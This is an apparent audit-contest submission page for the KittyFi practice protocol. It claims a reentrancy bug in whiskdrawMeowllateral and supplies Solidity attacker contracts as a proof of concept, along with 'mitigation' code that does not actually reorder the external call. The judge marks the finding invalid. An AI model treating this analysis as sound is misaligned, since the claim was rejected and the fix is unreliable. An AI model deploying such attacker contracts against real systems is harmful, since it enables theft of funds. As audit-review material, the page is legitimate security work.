First Flight #21: KittyFi
First Flight #21
Beginner FriendlyDeFiFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Invalid

Reentrancy Vulnerability in `KittyPool::whiskdrawMeowllateral`

mishraji874

Description: The KittyPool::whiskdrawMeowllateral function calls an external contract and then performs a state-changing operation. This could lead to a reentrancy attack where the external contract calls back into the KittyPool contract before the state change is completed.

Impact: An attacker could drain funds or cause other unexpected behavior by reentering the contract.

Proof of Concept: An attacker could create a malicious KittyVault contract that reenters the KittyPool contract:

Use the below contract as Malicious Vault Contract:-

contract MaliciousKittyVault is KittyVault {
KittyPool public kittyPool;
​
constructor(address _kittyPool) KittyVault(address(0), address(this), address(0), address(0), address(0), address(0)) {
kittyPool = KittyPool(_kittyPool);
}
​
function executeWhiskdrawal(address _user, uint256 _cattyNipToWithdraw) external override {
kittyPool.whiskdrawMeowllateral(address(this), 1);
}
}

Use the below contract as Attacker Contract:-

contract AttackKittyPool {
KittyPool public kittyPool;
MaliciousKittyVault public maliciousVault;
​
constructor(address _kittyPool) {
kittyPool = KittyPool(_kittyPool);
maliciousVault = new MaliciousKittyVault(address(kittyPool));
}
​
function attack() public {
// Register the malicious vault
kittyPool.meownufactureKittyVault(address(maliciousVault), address(0));
// Call whiskdrawMeowllateral to start the reentrancy attack
kittyPool.whiskdrawMeowllateral(address(maliciousVault), 1);
}
}

Recommended Mitigation: Use the Checks-Effects-Interactions pattern to update the state before calling external contracts.

function whiskdrawMeowllateral(address _token, uint256 _ameownt) external tokenExists(_token) {
require(_hasEnoughMeowllateral(msg.sender), KittyPool__NotEnoughMeowllateralPurrrr());
IKittyVault(tokenToVault[_token]).executeWhiskdrawal(msg.sender, _ameownt);
}
Updates

Lead Judging Commences

shikhar229169 Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.